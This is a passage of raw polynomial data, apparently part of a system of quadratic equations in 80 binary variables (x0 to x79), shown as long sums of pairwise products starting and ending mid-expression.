x4*x67 + x4*x68 + x4*x69 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x17 + x5*x18 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x32 + x5*x34 + x5*x39 + x5*x40 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x52 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x79 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x19 + x6*x21 + x6*x26 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x39 + x6*x40 + x6*x42 + x6*x46 + x6*x47 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x60 + x6*x64 + x6*x67 + x6*x71 + x6*x72 + x6*x73 + x6*x79 + x6 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x23 + x7*x25 + x7*x29 + x7*x30 + x7*x35 + x7*x37 + x7*x39 + x7*x40 + x7*x42 + x7*x45 + x7*x49 + x7*x50 + x7*x51 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x72 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x16 + x8*x21 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x41 + x8*x44 + x8*x46 + x8*x47 + x8*x53 + x8*x59 + x8*x60 + x8*x67 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x55 + x9*x56 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x70 + x9*x75 + x9*x77 + x9*x78 + x10*x11 + x10*x14 + x10*x15 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x29 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x40 + x10*x42 + x10*x44 + x10*x47 + x10*x51 + x10*x55 + x10*x58 + x10*x61 + x10*x63 + x10*x67 + x10*x69 + x10*x70 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x17 + x11*x18 + x11*x19 + x11*x20 + x11*x21 + x11*x25 + x11*x28 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x38 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x49 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x60 + x11*x63 + x11*x64 + x11*x67 + x11*x69 + x11*x70 + x11*x71 + x11*x75 + x11*x77 + x11*x78 + x11 + x12*x14 + x12*x17 + x12*x19 + x12*x20 + x12*x22 + x12*x24 + x12*x32 + x12*x33 + x12*x36 + x12*x37 + x12*x39 + x12*x41 + x12*x43 + x12*x44 + x12*x49 + x12*x50 + x12*x56 + x12*x57 + x12*x63 + x12*x64 + x12*x66 + x12*x67 + x12*x68 + x12*x69 + x12*x72 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x13*x14 + x13*x17 + x13*x18 + x13*x24 + x13*x26 + x13*x27 + x13*x30 + x13*x33 + x13*x34 + x13*x35 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x47 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x60 + x13*x63 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x77 + x13*x78 + x14*x16 + x14*x18 + x14*x20 + x14*x23 + x14*x24 + x14*x26 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x35 + x14*x38 + x14*x39 + x14*x40 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x60 + x14*x63 + x14*x66 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x17 + x15*x24 + x15*x28 + x15*x30 + x15*x33 + x15*x35 + x15*x39 + x15*x40 + x15*x47 + x15*x48 + x15*x50 + x15*x52 + x15*x53 + x15*x55 + x15*x57 + x15*x58 + x15*x61 + x15*x63 + x15*x64 + x15*x66 + x15*x67 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x22 + x16*x23 + x16*x27 + x16*x29 + x16*x30 + x16*x32 + x16*x34 + x16*x35 + x16*x39 + x16*x40 + x16*x41 + x16*x43 + x16*x44 + x16*x45 + x16*x48 + x16*x54 + x16*x58 + x16*x61 + x16*x63 + x16*x70 + x16*x71 + x16*x76 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x34 + x17*x35 + x17*x36 + x17*x38 + x17*x39 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x65 + x17*x72 + x17*x73 + x17*x74 + x17*x77 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x29 + x18*x30 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x31 + x19*x32 + x19*x35 + x19*x37 + x19*x39 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x55 + x19*x56 + x19*x59 + x19*x60 + x19*x65 + x19*x68 + x19*x69 + x19*x72 + x19*x73 + x19*x74 + x19*x75 + x19*x78 + x19 + x20*x23 + x20*x24 + x20*x26 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x51 + x20*x55 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x77 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x27 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x40 + x21*x41 + x21*x43 + x21*x44 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x28 + x22*x31 + x22*x34 + x22*x39 + x22*x41 + x22*x44 + x22*x47 + x22*x49 + x22*x50 + x22*x58 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x79 + x22 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x32 + x23*x35 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x60 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x77 + x24*x25 + x24*x27 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x39 + x24*x46 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x61 + x24*x62 + x24*x67 + x24*x71 + x24*x73 + x24*x74 + x24*x75 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x34 + x25*x37 + x25*x41 + x25*x44 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x58 + x25*x59 + x25*x60 + x25*x63 + x25*x67 + x25*x71 + x25*x72 + x25*x73 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x26*x28 + x26*x31 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x49 + x26*x52 + x26*x54 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x72 + x26*x76 + x26*x77 + x26*x79 + x27*x32 + x27*x37 + x27*x39 + x27*x44 + x27*x47 + x27*x49 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x69 + x27*x72 + x27*x73 + x27*x76 + x27*x78 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x49 + x28*x53 + x28*x56 + x28*x57 + x28*x62 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x72 + x28*x74 + x28*x75 + x28*x76 + x28 + x29*x30 + x29*x31 + x29*x33 + x29*x34 + x29*x37 + x29*x42 + x29*x43 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x50 + x29*x53 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x73 + x29*x74 + x29*x77 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x37 + x30*x38 + x30*x42 + x30*x46 + x30*x50 + x30*x51 + x30*x55 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x67 + x30*x70 + x30*x71 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x50 + x31*x52 + x31*x54 + x31*x58 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x67 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x53 + x32*x55 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x65 + x32*x66 + x32*x71 + x32*x75 + x32 + x33*x35 + x33*x41 + x33*x44 + x33*x45 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x68 + x33*x77 + x34*x36 + x34*x37 + x34*x39 + x34*x45 + x34*x50 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x70 + x34*x71 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x35*x36 + x35*x37 + x35*x38 + x35*x43 + x35*x44 + x35*x46 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x66 + x35*x72 + x35*x74 + x35*x76 + x35*x79 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x55 + x36*x56 + x36*x59 + x36*x60 + x36*x62 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x42 + x37*x43 + x37*x44 + x37*x47 + x37*x48 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x78 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x61 + x38*x63 + x38*x67 + x38*x69 + x38*x71 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x49 + x39*x51 + x39*x53 + x39*x56 + x39*x58 + x39*x60 + x39*x62 + x39*x66 + x39*x69 + x39*x70 + x39*x71 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x47 + x40*x49 + x40*x50 + x40*x52 + x40*x56 + x40*x57 + x40*x60 + x40*x61 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x44 + x41*x46 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x64 + x41*x66 + x41*x67 + x41*x74 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x45 + x42*x49 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x61 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x75 + x43*x45 + x43*x46 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x54 + x43*x56 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x67 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x52 + x44*x54 + x44*x58 + x44*x59 + x44*x61 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44*x76 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x59 + x45*x61 + x45*x64 + x45*x67 + x45*x71 + x45*x77 + x45*x79 + x46*x47 + x46*x48 + x46*x50 + x46*x51 + x46*x54 + x46*x55 + x46*x56 + x46*x69 + x46*x73 + x46*x77 + x46*x79 + x46 + x47*x51 + x47*x53 + x47*x67 + x47*x68 + x47*x69 + x47*x71 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47 + x48*x52 + x48*x57 + x48*x63 + x48*x66 + x48*x69 + x48*x70 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x57 + x49*x59 + x49*x61 + x49*x62 + x49*x65 + x49*x67 + x49*x73 + x49*x76 + x49*x77 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x57 + x50*x60 + x50*x62 + x50*x64 + x50*x67 + x50*x69 + x50*x70 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x59 + x51*x61 + x51*x66 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x79 + x51 + x52*x57 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x75 + x52*x77 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x62 + x53*x63 + x53*x64 + x53*x66 + x53*x67 + x53*x69 + x53*x70 + x53*x74 + x53*x76 + x53*x77 + x53*x78 + x54*x56 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x66 + x54*x69 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x60 + x55*x61 + x55*x64 + x55*x66 + x55*x72 + x55*x75 + x55*x76 + x55*x79 + x56*x59 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x70 + x56*x74 + x56*x76 + x56*x77 + x57*x58 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x74 + x57*x75 + x57*x76 + x57*x79 + x58*x61 + x58*x64 + x58*x66 + x58*x67 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x78 + x59*x64 + x59*x71 + x59*x74 + x59*x76 + x59*x77 + x60*x64 + x60*x67 + x60*x73 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x77 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x70 + x62*x71 + x62*x72 + x62*x78 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x66*x68 + x66*x69 + x66*x72 + x66*x73 + x66*x74 + x66*x76 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x76 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x70*x71 + x70*x73 + x70*x74 + x70*x77 + x70*x78 + x71*x72 + x71*x73 + x71*x78 + x71*x79 + x72*x73 + x72*x74 + x72*x78 + x72 + x73*x74 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x75*x76 + x76*x77 + x76 + x77 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x9 + x0*x11 + x0*x13 + x0*x15 + x0*x17 + x0*x24 + x0*x27 + x0*x29 + x0*x34 + x0*x36 + x0*x38 + x0*x40 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x58 + x0*x59 + x0*x65 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x73 + x0*x75 + x0*x77 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x9 + x1*x11 + x1*x13 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x40 + x1*x42 + x1*x43 + x1*x46 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x57 + x1*x60 + x1*x62 + x1*x63 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x74 + x1*x75 + x1*x76 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x11 + x2*x13 + x2*x15 + x2*x16 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x33 + x2*x36 + x2*x37 + x2*x45 + x2*x49 + x2*x50 + x2*x55 + x2*x58 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x71 + x2*x75 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x9 + x3*x11 + x3*x16 + x3*x17 + x3*x18 + x3*x22 + x3*x23 + x3*x25 + x3*x27 + x3*x30 + x3*x35 + x3*x38 + x3*x40 + x3*x43 + x3*x45 + x3*x47 + x3*x49 + x3*x51 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x69 + x3*x72 + x3*x75 + x3*x77 + x3*x79 + x4*x5 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x17 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x56 + x4*x57 + x4*x58 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x69 + x4*x70 + x4*x76 + x4*x77 + x4*x78 + x4 + x5*x6 + x5*x9 + x5*x15 + x5*x19 + x5*x20 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x36 + x5*x40 + x5*x41 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x54 + x5*x57 + x5*x58 + x5*x61 + x5*x62 + x5*x64 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x79 + x5 + x6*x10 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x30 + x6*x31 + x6*x34 + x6*x39 + x6*x41 + x6*x46 + x6*x49 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x63 + x6*x70 + x6*x73 + x6*x78 + x6 + x7*x8 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x19 + x7*x21 + x7*x24 + x7*x26 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x41 + x7*x42 + x7*x45 + x7*x49 + x7*x50 + x7*x52 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x62 + x7*x69 + x7*x71 + x7*x73 + x7*x74 + x7*x76 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x32 + x8*x33 + x8*x34 + x8*x37 + x8*x39 + x8*x40 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x55 + x8*x59 + x8*x61 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x9*x13 + x9*x14 + x9*x16 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x29 + x9*x30 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x45 + x9*x46 + x9*x47 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x68 + x9*x69 + x9*x71 + x9*x73 + x9*x74 + x9*x77 + x9*x78 + x10*x12 + x10*x13 + x10*x15 + x10*x18 + x10*x19 + x10*x21 + x10*x23 + x10*x25 + x10*x27 + x10*x32 + x10*x36 + x10*x37 + x10*x38 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x60 + x10*x63 + x10*x64 + x10*x65 + x10*x68 + x10*x69 + x10*x70 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x11*x12 + x11*x19 + x11*x20 + x11*x21 + x11*x24 + x11*x26 + x11*x27 + x11*x30 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x48 + x11*x51 + x11*x53 + x11*x56 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x35 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x48 + x12*x53 + x12*x56 + x12*x57 + x12*x58 + x12*x61 + x12*x65 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x73 + x12*x76 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x42 + x13*x45 + x13*x46 + x13*x52 + x13*x55 + x13*x56 + x13*x58 + x13*x60 + x13*x61 + x13*x65 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x78 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x20 + x14*x21 + x14*x25 + x14*x26 + x14*x28 + x14*x29 + x14*x30 + x14*x32 + x14*x33 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x42 + x14*x43 + x14*x45 + x14*x46 + x14*x52 + x14*x54 + x14*x58 + x14*x59 + x14*x61 + x14*x67 + x14*x68 + x14*x69 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x15*x18 + x15*x21 + x15*x23 + x15*x26 + x15*x28 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x40 + x15*x41 + x15*x43 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x54 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x67 + x15*x68 + x15*x70 + x15*x71 + x15*x72 + x15*x75 + x15*x78 + x15 + x16*x19 + x16*x21 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x44 + x16*x46 + x16*x50 + x16*x51 + x16*x52 + x16*x55 + x16*x56 + x16*x57 + x16*x62 + x16*x64 + x16*x65 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x75 + x16*x76 + x16*x78 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x48 + x17*x49 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x63 + x17*x64 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x77 + x17*x78 + x17*x79 + x17 + x18*x19 + x18*x21 + x18*x23 + x18*x26 + x18*x27 + x18*x31 + x18*x32 + x18*x33 + x18*x35 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x48 + x18*x51 + x18*x52 + x18*x54 + x18*x56 + x18*x58 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x72 + x18*x73 + x18*x75 + x18*x76 + x18*x78 + x19*x22 + x19*x24 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x45 + x19*x46 + x19*x48 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x58 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x73 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x49 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x65 + x20*x68 + x20*x74 + x20*x75 + x21*x24 + x21*x29 + x21*x30 + x21*x31 + x21*x33 + x21*x34 + x21*x35 + x21*x38 + x21*x40 + x21*x43 + x21*x46 + x21*x49 + x21*x51 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x61 + x21*x63 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x75 + x21*x76 + x21*x77 + x22*x23 + x22*x25 + x22*x27 + x22*x31 + 